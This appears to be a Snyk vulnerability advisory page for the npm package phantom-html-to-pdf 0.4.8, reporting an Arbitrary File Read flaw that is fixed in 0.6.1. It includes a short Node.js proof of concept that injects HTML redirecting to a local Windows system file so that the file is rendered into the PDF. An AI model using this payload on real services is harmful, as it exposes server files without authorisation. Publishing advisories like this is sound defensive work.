phantom-html-to-pdf@0.4.8 vulnerabilities

Convert html to pdf using phantomjs

  • latest version

    0.8.3

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    2 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the phantom-html-to-pdf package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Arbitrary File Read

    phantom-html-to-pdf is a Convert html to pdf using phantomjs

    Affected versions of this package are vulnerable to Arbitrary File Read.

    PoC

    var fs = require('fs')
    var conversion = require("phantom-html-to-pdf")();
    conversion.allowLocalFilesAccess = false
    conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) {
    var output = fs.createWriteStream('output.pdf')
    console.log(pdf.logs);
    console.log(pdf.numberOfPages);
    pdf.stream.pipe(output);
    });
    

    How to fix Arbitrary File Read?

    Upgrade phantom-html-to-pdf to version 0.6.1 or higher.

    <0.6.1